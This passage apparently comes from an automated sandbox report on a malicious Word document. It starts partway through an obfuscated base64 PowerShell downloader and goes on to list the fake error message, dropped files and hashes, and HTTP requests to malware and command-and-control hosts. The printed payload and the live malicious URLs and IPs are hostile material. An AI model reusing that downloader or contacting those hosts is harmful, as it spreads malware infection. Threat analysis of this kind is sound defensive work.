sAJwAuACcAKwAoACcAcwAnACsAJwBlAG0AJwApACsAKAAnAHAAZQByACcAKwAnAHQAaQAuACcAKwAnAGMAbwBtACcAKQArACgAKAAnAHEAJwArACcAcQApACcAKQApACsAKAAnACgAcwAyACcAKwAnACkAJwApACsAKAAoACcAKAB3ACcAKQApACsAKAAoACcAcAAtACcAKwAnAGEAZABtAGkAbgBxAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwArACcAMgAnACkAKQArACgAKAAnAEkAJwArACcAeQAnACsAJwBaAEUANwBrAHEAcQAnACsAJwApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoAEAAJwApACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwA6ACcAKwAnAHEAcQAnACkAKwAoACgAJwApACcAKwAnACgAcwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAGcAaQBhACcAKQApACsAKAAnAHQAbwB0ACcAKwAnADMANgA1ACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAHEAJwApACsAKAAoACcAcQApACgAcwAyACcAKwAnACkAJwApACkAKwAoACcAKAAnACsAJwB3ACcAKwAnAHAALQBjAG8AbgB0AGUAbgAnACsAJwB0ACcAKwAnAHEAcQApACgAcwAyACkAJwApACsAKAAoACcAKAB1ACcAKwAnAHAAJwApACkAKwAnAGwAbwAnACsAJwBhACcAKwAoACgAJwBkACcAKwAnAHMAcQBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAMgAnACsAJwAwACcAKQApACsAKAAnADIAMAAnACsAJwBxAHEAJwApACsAKAAoACcAKQAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABTAHgAJwArACcAcQBxACcAKwAnACkAKABzADIAKQAoACcAKQApACkAKQAuACIAUgBFAFAAbABgAEEAYABjAEUAIgAoACgAKAAoACgAJwBxAHEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAUABMAGAAaQB0ACIAKAAkAEwAXwBoAHgAcwBpAHUAIAArACAAJABQAGkAaQA4AG8AZQBuACAAKwAgACQATwB3ADQAeABqAGgAYQApADsAJABOADgAZgBoAHQAeAA2AD0AKAAoACcATgAnACsAJwA5ADQAOQAnACkAKwAnAGwAdwAnACsAJwBuACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABnAHMAagBoADgAbgAgAGkAbgAgACQATgB5ADQAbQBuAHYAeAAgAHwAIABTAGAATwByAFQALQBvAGIAYABqAGUAYwBUACAAewBHAGAARQBUAC0AYABSAEEAbgBEAG8AbQB9ACkAewB0AHIAeQB7ACQAWgAxAGYAbQB2AHEAaAAuACIAZABvAFcATgBgAGwAbwBBAGQAYABGAGkATABlACIAKAAkAFAAZwBzAGoAaAA4AG4ALAAgACQAVABwAGQAdQBlADMAMgApADsAJABaADUAcgBqADQAYQB1AD0AKAAnAEgAbwAnACsAKAAnAF8AMAA2AHkAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABUAHAAZAB1AGUAMwAyACkALgAiAGwAZQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADAANwAwADQAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAVABwAGQAdQBlADMAMgAsACcAIwAxACcALgAiAFQAYABPAFMAdABSAGkAYABOAGcAIgAoACkAOwAkAEgAMABfADQAYgB3ADMAPQAoACgAJwBTACcAKwAnAGQAdgBxACcAKQArACgAJwB3ACcAKwAnADYAOQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVwB5AHEAMQAzAG8AcwA9ACgAJwBTADgAJwArACcAZgB5ACcAKwAoACcAOAB4ACcAKwAnADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAdQBhAHgAbwBmADkAPQAoACcAUwBlACcAKwAoACcAZAAnACsAJwA5ADAAJwApACsAJwBfAHoAJwApAA== | C:\Windows\system32\cmd.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3380 | msg admin /v Word experienced an error trying to open the file. | C:\Windows\system32\msg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Message Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
8 649
Read events
7 745
Write events
722
Delete events
182
Modification events
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1055 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: On | |||
| (PID) Process: | (2472) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
Executable files
1
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2472 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9AD.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3EEC306A4042DDE8A76D075A9281AF0D | SHA256:1AC0444CA13F67716A12A7A7F78AA5E4FA7F3D62B2B7C991E416F463C1011D78 | |||
| 2472 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$curiteInfo.com.W97M.DownLoader.5028.13042.16836.doc | pgc | |
MD5:251CDE1F7916DF0B81CFA6DA8CF56DB9 | SHA256:C5EFA3013E60688C405CE24C5C7CD4FD16A6C280437749995EED431C3B6FD62D | |||
| 2796 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JJ6542H5E052WSRAA4TR.temp | binary | |
MD5:3EEC306A4042DDE8A76D075A9281AF0D | SHA256:1AC0444CA13F67716A12A7A7F78AA5E4FA7F3D62B2B7C991E416F463C1011D78 | |||
| 2796 | powershell.exe | C:\Users\admin\Y559jsv\Iewfmy3\Ppnq9j.dll | executable | |
MD5:4DCA5D1B4635D0CF9FAEDDC2F7A53E63 | SHA256:FD6BF300486F0F8C40C1AAE490A060500E9D6F4884CEC3CD5C748C13CB8858D1 | |||
| 2472 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:A544C4441ECFF77D6242DBC6C7159EE4 | SHA256:7A76A70D377C68D1203272ED403BDE502102C07043BC1E0344D580BAE3063CFA | |||
| 2472 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:8EB0B7FCF6EAB408C13A1FFF646824F3 | SHA256:E89119C2F7FCCFF5CDAEB24E5EF0157256FEAA5272137F601B81BCC8902D2C25 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
8
DNS requests
5
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2796 | powershell.exe | GET | 301 | 112.78.2.74:80 | http://tongdaihanoi.com/847346324234234/rpnvXm/ | VN | — | — | suspicious |
2796 | powershell.exe | GET | 403 | 185.104.45.33:80 | http://cherkashchanu.com/Z:/4ZE8/ | GB | html | 1.85 Kb | malicious |
2720 | rundll32.exe | POST | 200 | 202.187.222.40:80 | http://202.187.222.40/u81pha7czidn1y6l/ | MY | binary | 3.57 Kb | malicious |
2720 | rundll32.exe | POST | — | 184.66.18.83:80 | http://184.66.18.83/jl28ybh3/atd0n/01om6o1d9/ | CA | — | — | malicious |
2796 | powershell.exe | GET | 404 | 112.78.2.74:80 | http://www.tongdaihanoi.com/847346324234234/rpnvXm/ | VN | html | 44.5 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2796 | powershell.exe | 107.180.2.185:443 | calltorepair.com | GoDaddy.com, LLC | US | suspicious |
2796 | powershell.exe | 112.78.2.74:80 | tongdaihanoi.com | Online data services | VN | suspicious |
2796 | powershell.exe | 103.28.39.103:443 | giatot365.com | NhanHoa Software company | VN | unknown |
2796 | powershell.exe | 185.104.45.33:80 | cherkashchanu.com | Inhosted Lp | GB | suspicious |
2720 | rundll32.exe | 202.187.222.40:80 | — | TIME dotCom Berhad | MY | malicious |
2720 | rundll32.exe | 184.66.18.83:80 | — | Shaw Communications Inc. | CA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
calltorepair.com |
| suspicious |
tongdaihanoi.com |
| suspicious |
www.tongdaihanoi.com |
| unknown |
cherkashchanu.com |
| malicious |
giatot365.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2720 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 8 |
1 ETPRO signatures available at the full report